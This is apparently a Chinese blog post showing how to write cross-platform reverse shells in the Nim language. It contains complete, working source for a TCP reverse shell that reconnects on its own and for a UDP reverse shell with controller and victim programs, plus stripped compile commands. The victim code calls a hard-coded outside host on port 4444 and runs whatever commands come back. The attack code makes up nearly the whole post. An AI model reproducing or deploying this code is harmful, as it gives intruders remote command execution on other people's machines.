目录
技能展示
文章
日记
时间线
项目展示
分类
标签
Android Bash Burp C++ CS CTF DLL劫持 Docker Fastjson Fastjson2 FNV-1a FreeCMS FRP GetShell GitHub IPv6 Java JNDI John JS加密 JS逆向 K8s Kafka Kali lama-cleaner Linux mitmproxy MSF MySQL Nim Nmap NPS Office OID Payload Phar PHP phpMyAdmin POP链 PWN Pyinstaller Python RCE RSA Shellcode SNMP SQL注入 SSH SSRF Ubuntu USB Web Webshell Web安全 Windows XSS YAML Zookeeper 主机探测 代码审计 伪协议 免杀 内网 内网穿透 加密 加解密 参数 反序列化 反弹shell 命令 哈希碰撞 图像处理 域渗透 字符串逃逸 容器 密码学 密码破解 提权 数据库 文件上传 日志分析 未授权访问 权限维持 汇总 流量分析 消息队列 溯源 漏洞 漏洞分析 漏洞利用 端口扫描 编译 网络管理 资产探测 跨平台 运维 进程隐藏 逆向
目录
目录
444 字
2 分钟
nim语言实现跨平台反弹shell
在网上看到这个Nim语言,Python的语法,C的性能,还能跨平台,写了两个反弹shell玩了一下。
一、tcp 反弹shell,代自动重连功能
1import net2import osproc3import os4import strutils5
6var ip = "server.nixops.me"7var port = 44448
9var args = commandLineParams()10
11if args.len() == 2:12 ip = args[0]13 port = parseInt(args[1])14
15while true:16 var socket = newSocket()17 try:18 socket.connect(ip, Port(port))19 while true:20 try:21 socket.send(system.hostOS & "_" & system.hostCPU & "> ")22 var command = socket.recvLine()23 var result = execProcess(command,options = {poUsePath, poStdErrToStdOut, poEvalCommand, poDaemon})24 socket.send(result)25 except:26 socket.close()27 break28 except:29 sleep(10000)30 continue以上是被控端代码,控制端使用nc监听4444等待连接即可。
二、udp反弹shell
2.1 udp server控制端
1import os2import strutils3import netty4
5var ip = "0.0.0.0"6var port = 44447
8var args = commandLineParams()9
10if args.len() == 2:11 ip = args[0]12 port = parseInt(args[1])13
14var server = newReactor(ip, port)15echo "Listenting for UDP on " & ip & ":" & intToStr(port)16
17while true:18 server.tick()19 for connection in server.newConnections:20 echo "[new] ", connection.address21
22 for connection in server.deadConnections:23 echo "[dead] ", connection.address24
25 for msg in server.messages:26 echo ">>> Receive Client MESSAGE: <<<", msg.data27 echo msg.data28 echo ">>> Client MESSAGE Finished !<<<"29
30 for connection in server.connections:31 var cmd = readLine(stdin)32 if cmd.len > 0:33 server.send(connection, cmd)34 echo ">>> Success Send Command: " & cmd & " TO: ", connection.address2.2 udp 客户被控端
1import net2import osproc3import os4import strutils5import netty6
7var ip = "server.nixops.me"8var port = 44449
10var args = commandLineParams()11
12if args.len() == 2:13 ip = args[0]14 port = parseInt(args[1])15
16while true:17 var client = newReactor()18 var c2s = client.connect(ip, port)19 client.send(c2s,"Hello from : " & system.hostOS & "_" & system.hostCPU & "! ")20 while true:21 try:22 client.tick()23 var command = ""24 for msg in client.messages:25 command.add(msg.data)26
27 if command.len > 0:28 var result = execProcess(command,options = {poUsePath, poStdErrToStdOut, poEvalCommand, poDaemon})29 client.send(c2s,result)30 if client.deadConnections.len > 0 :31 client.disconnect(c2s)32 break33 except:34 sleep(10000)35 continue三、编译
1nim c -d:danger -d:strip --opt:size tcp.nim2nim c -d:danger -d:strip --opt:size udpc.nim3nim c -d:danger -d:strip --opt:size udps.nim四、总结
Nim优点: 好学、高性能、静态类型、跨平台、编译速度快 缺点也非常明显:生态比较差,标准库也不够完善,以上代码想用daemon方式运行就不行,标准库还没有实现
部分信息可能已经过时
目录
技能展示
文章
日记
时间线
项目展示
分类
标签
Android Bash Burp C++ CS CTF DLL劫持 Docker Fastjson Fastjson2 FNV-1a FreeCMS FRP GetShell GitHub IPv6 Java JNDI John JS加密 JS逆向 K8s Kafka Kali lama-cleaner Linux mitmproxy MSF MySQL Nim Nmap NPS Office OID Payload Phar PHP phpMyAdmin POP链 PWN Pyinstaller Python RCE RSA Shellcode SNMP SQL注入 SSH SSRF Ubuntu USB Web Webshell Web安全 Windows XSS YAML Zookeeper 主机探测 代码审计 伪协议 免杀 内网 内网穿透 加密 加解密 参数 反序列化 反弹shell 命令 哈希碰撞 图像处理 域渗透 字符串逃逸 容器 密码学 密码破解 提权 数据库 文件上传 日志分析 未授权访问 权限维持 汇总 流量分析 消息队列 溯源 漏洞 漏洞分析 漏洞利用 端口扫描 编译 网络管理 资产探测 跨平台 运维 进程隐藏 逆向
目录